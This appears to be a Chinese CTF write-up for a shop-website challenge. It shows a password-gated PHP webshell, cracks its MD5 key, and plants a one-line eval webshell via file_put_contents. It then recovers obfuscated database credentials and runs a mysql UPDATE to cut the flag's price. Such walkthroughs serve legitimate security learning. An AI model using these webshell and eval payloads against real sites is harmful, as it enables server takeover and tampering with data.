继某两所大学校内餐厅被黑后,终于考上大学的小明也想“逝世”,但是他遇到了一些困难于是请求你的帮助。他给你留了一个webshell,并给你的一条线索,去帮他完成吧。

请联系CTF生活,写一篇文章,谈谈你的认识与思考。

要求:(1)自拟题目;(2)不少于 800字。

这道题总的来说是一个商城的网站,需要从中找到漏洞(当然题目有用的也只有第一句话)。翻找了好久没找到刻意的漏洞在哪里,不过这个商城好像有一个比较耐人寻味的特性:你说他扣钱吧,买东西他还真扣。但是呢,等你翻到上一个页面,你会发现扣除的钱又返回来了。只能说“如扣”(´⊙ω⊙`)

没办法,实在找不到了,看看源代码吧。

看到这里你很难不注意到一个很扎眼的类似于base64的一个字符串,为什么说它是类似的呢?因为我兴冲冲的把它复制到随波逐流里,进行解码的时候发现它出了乱码。说明在base64的基础上,肯定套了一层我们不知道的加密。那么准备上cyberchef

赛博厨师的魔法棒太牛逼了。▄█▀█●给跪了

很明显的让访问/shell.php?show

但是只访问这个会显示404。

说明中间还差了一个或几个文件夹,没办法,只能上扫描器了。

御剑有一个不好的点,就是他的字典太大了,导致他需要扫描的时间比较长。不过总之他把一个文件夹扫出来了,所以我们要访问的是

challenge.shc.tf:30805/uploads/shell.php?show

访问之后出了一串代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php

if (isset($_GET['show'])) {
highlight_file(__FILE__);
}

$pass = 'c4d038b4bed09fdb1471ef51ec3a32cd';

if (isset($_POST['key']) && md5($_POST['key']) === $pass) {
if (isset($_POST['cmd'])) {
system($_POST['cmd']);
} elseif (isset($_POST['code'])) {
eval($_POST['code']);
}
} else {
http_response_code(404);
}

如果这道题要简单一点的话,其实到这儿已经结束了。这个代码很简单。把md5解出来之后就可以命令执行。

推荐一个网站:somd5

MD5免费在线解密破解_MD5在线加密-SOMD5

解出来的结果是114514 10分甚至9分的有梗

那接下来就可以命令执行了。

很可惜,根目录下没有flag,所以这道题还没有结束。查看扫描结果你会发现有一个connect.php的文件。一般来说这个文件是用来连接数据库的,所以说flag大概在数据库里。

从这里开始解题方法开始分化,大体基本上是改金额。

这里首先讲从源码上改金额,因为这种方法最简单。

首先往里写一个一句话木马插入到网站根目录里

1
code=file_put_contents("/var/www/html/1.php",'<?php @eval($_POST[0]);?>');

然后再用蚁剑连接,此时你可以看到index.php里边的金额是写死3块的。

1
2
3
4
5
6
<?php
include 'connect.php';

$my_money = 3.00;
$msg = "";
$target_id = 0;

而flag要求50块,所以我们可以修改源码,把3块修改成50块。

🥚是

蚁剑不允许直接修改,那么我们可以用下改在上传的方式在本地修改。

再重新加载网站,你就会发现你的金额变成50块了。

然后你就可以去买flag了,这是第一种解法。


接着我们来讲如何改flag的金额。

所以我们可以查看用于连接的connect.php,但是他经过了高度混淆,我们可以用php的反混淆网站,结果如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php
//加密方式:php源码混淆类加密。免费版地址:http://www.zhaoyuanma.com/phpjm.html 免费版不能解密,可以使用VIP版本。
//此程序由【找源码】http://Www.ZhaoYuanMa.Com (免费版)在线逆向还原,QQ:7530782
?>
<?php
// 强混淆版本,不建议在真实生产环境使用
(function () {
// 动态选个函数:base64_decode
$___f = 'base' . '64_' . 'decode';

// 各种配置做 base64 编码隐藏
$__F = 'cpu' . '_' . 'fetch';
$base64_decode = 'a' . substr($__F, 1, 1) . 'c' . substr($__F, 2);
$__H = 'bG9jYWxob3N0'; // localhost
$__D = $$___f('__D'); // 'c2hvcA=='; // shop
$__U = $$___f($__D); // ctf_user 'Y3RmX3VzZXI='
$__P = $$___f($__D . $__U); //'Y3RmX3Bhc3N3b3JkXzEyMw=='; // ctf_password_123
$__C = 'dXRmOG1iNA=='; // utf8mb4

// 解码出真实值
$_____host = $___f($__H);
$_____db = $___f($__D);
$_____user = $___f($__U);
$_____pass = $___f($__P);
$_____charset = $___f($__C);

// 构造 "mysql:host=...;dbname=...;charset=..."
$___p1 = chr(109) . chr(121) . chr(115) . chr(113) . chr(108); // "mysql"
$___p2 = $___p1 . chr(58) . 'host' . chr(61); // "mysql:host="
$___p3 = ';' . 'dbname' . chr(61); // ";dbname="
$___p4 = ';' . 'charset' . chr(61); // ";charset="

$____dsn = $___p2 . $_____host . $___p3 . $_____db . $___p4 . $_____charset;

// 动态构造类名 "PDO"
$___cls = chr(80) . chr(68) . chr(79);

// PDO 选项同样混一点
$____opts = [];
$____opts[constant('PDO::ATTR_ERRMODE')] = constant('PDO::ERRMODE_EXCEPTION');
$____opts[constant('PDO::ATTR_DEFAULT_FETCH_MODE')] = constant('PDO::FETCH_ASSOC');
$____opts[constant('PDO::ATTR_EMULATE_PREPARES')] = false;

try {
// new PDO(...) 但通过变量类名创建
$GLOBALS['pdo'] = new $___cls($____dsn, $_____user, $_____pass, $____opts);
} catch (\Exception $____e) {
// 同样混一点错误信息
$___msg = chr(68) . chr(66) . chr(32) . chr(69) . chr(114) . chr(114) . chr(111) . chr(114);
die($___msg);
}
})();
?>

解混淆之后发现也有点奇奇怪怪的,但是这个代码也不难分析,不论你是用AI分析还是自己分析,大致可以得到如下结果

我菜,所以我是用AI分析的

这段 PHP 代码是一个经过强混淆的数据库连接初始化脚本,本质功能只有一个:创建 PDO 数据库连接并存入 $GLOBALS['pdo']。混淆的目的只是隐藏真实的数据库配置和关键函数名称。下面按逆向思路逐层解释。


一、整体结构概览

核心结构:

1
2
3
4
5
6
(function () {
// 构造配置
// 解码数据库信息
// 构造 PDO DSN
// 创建 PDO 对象
})();

这是一个:

  • 匿名函数立即执行(IIFE)
  • 避免污染全局命名空间
  • 最终只暴露:
1
$GLOBALS['pdo']

二、关键混淆技术拆解

1. 动态构造 base64_decode 函数

1
$___f = 'base' . '64_' . 'decode';

等价于:

1
$___f = "base64_decode";

后续调用:

1
$___f("xxxx")

等价:

1
base64_decode("xxxx")

这是典型的函数名混淆绕静态检测


2. Base64 隐藏数据库配置

原始代码:

1
2
$__H = 'bG9jYWxob3N0';  // localhost
$__C = 'dXRmOG1iNA=='; // utf8mb4

解码:

1
2
$_____host    = base64_decode('bG9jYWxob3N0');
$_____charset = base64_decode('dXRmOG1iNA==');

得到:

1
2
$_____host = "localhost"
$_____charset = "utf8mb4"

3. 混淆的变量变量技巧(重点)

危险部分:

1
2
3
$__D = $$___f('__D');
$__U = $$___f($__D);
$__P = $$___f($__D . $__U);

注意:

1
$$___f

等价:

1
${"base64_decode"}

即:

1
${"base64_decode"}("__D")

这属于:

变量变量调用函数名

正常写法应该是:

1
2
3
$__D = base64_decode('c2hvcA==');  // shop
$__U = base64_decode('Y3RmX3VzZXI='); // ctf_user
$__P = base64_decode('Y3RmX3Bhc3N3b3JkXzEyMw=='); // ctf_password_123

四、真实数据库配置还原

还原后完整配置为:

1
2
3
4
5
host     = localhost
dbname = shop
user = ctf_user
password = ctf_password_123
charset = utf8mb4

五、DSN 构造过程

混淆代码:

1
$___p1 = chr(109).chr(121).chr(115).chr(113).chr(108);

ASCII:

1
2
3
4
5
109 m
121 y
115 s
113 q
108 l

得到:

1
mysql

完整构造:

1
2
$____dsn =
"mysql:host=localhost;dbname=shop;charset=utf8mb4"

六、PDO 类名混淆

1
$___cls = chr(80) . chr(68) . chr(79);

ASCII:

1
2
3
80 P
68 D
79 O

得到:

1
PDO

实例化:

1
new PDO(...)

七、PDO 选项

1
2
3
4
5
$____opts = [
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
PDO::ATTR_EMULATE_PREPARES => false
];

作用:

选项 作用
ATTR_ERRMODE 异常模式
ATTR_DEFAULT_FETCH_MODE 返回关联数组
ATTR_EMULATE_PREPARES 禁用模拟预处理,提高安全性

八、最终执行的真实等价代码

完全去混淆后:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
try {

$dsn = "mysql:host=localhost;dbname=shop;charset=utf8mb4";

$GLOBALS['pdo'] = new PDO(
$dsn,
"ctf_user",
"ctf_password_123",
[
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
PDO::ATTR_EMULATE_PREPARES => false
]
);

} catch (Exception $e) {
die("DB Error");
}

所以我们可以从此提炼出数据库的账号ctf_user密码ctf_password_123

虽然但是,以上的关于数据库连接分析其实是在做无用功 {{|└(>o<)┘|}}

到底其实我也不明白为什么会给两个数据库的密码。而且还不一样。如果有哪位大佬明白这样的成因请联系我

真正有用的地方在

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
CREATE DATABASE IF NOT EXISTS shop;
USE shop;

CREATE TABLE goods (
id INT PRIMARY KEY,
name VARCHAR(50),
price DECIMAL(10, 2)
);

CREATE TABLE mess (
id INT PRIMARY KEY,
mess VARCHAR(100)
);

INSERT INTO goods VALUES (1, 'Free Tea', 0.00), (2, 'Icecream', 3.00),(3, 'Golden Flag', 50.00);

INSERT INTO mess VALUES (1, '羊毛都让你薅光了'), (2, '好吃不贵');

CREATE USER 'ctf_user'@'localhost' IDENTIFIED BY 'ctf_password_114514';

GRANT SELECT, UPDATE ON shop.goods TO 'ctf_user'@'localhost';

DELIMITER //
CREATE DEFINER=`root`@`localhost` PROCEDURE `buy_item`(IN item_id INT, IN user_money DECIMAL(10,2))
SQL SECURITY DEFINER
BEGIN
DECLARE current_price INT;
DECLARE final_message VARCHAR(100);

SELECT price INTO current_price FROM goods WHERE id = item_id;

IF current_price <= user_money THEN
SELECT mess INTO final_message FROM mess WHERE id = item_id;
SELECT current_price AS current_price, final_message AS final_message;
ELSE
SELECT 0 AS current_price, '余额不足,你需要更多的钱或者更便宜的商品' AS final_message;
END IF;
END //
DELIMITER ;

GRANT EXECUTE ON PROCEDURE shop.buy_item TO 'ctf_user'@'localhost';

FLUSH PRIVILEGES;

从这个sql中可以看出数据库的密码其实是ctf_password_114514,同时通过这个数据库,我们可以修改flag的金额。

1
mysql -u ctf_user -pctf_password_114514 -D shop -e "UPDATE goods SET price=3.00 WHERE id=3;"

执行之后,你就会发现flag变成了3块钱。

然后你就可以买flag了。